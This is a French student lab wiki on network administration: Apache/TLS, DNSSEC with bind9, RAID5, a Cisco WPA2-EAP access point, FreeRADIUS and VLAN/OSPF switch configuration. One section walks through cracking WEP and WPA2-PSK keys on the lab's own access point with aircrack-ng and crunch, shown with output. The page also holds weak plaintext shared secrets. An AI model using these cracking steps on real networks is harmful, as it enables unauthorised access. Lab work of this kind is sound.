 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
Pour cela, on va brancher notre clé USB au PC. &lt;br /&gt;
On monte ensuite cette clé :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
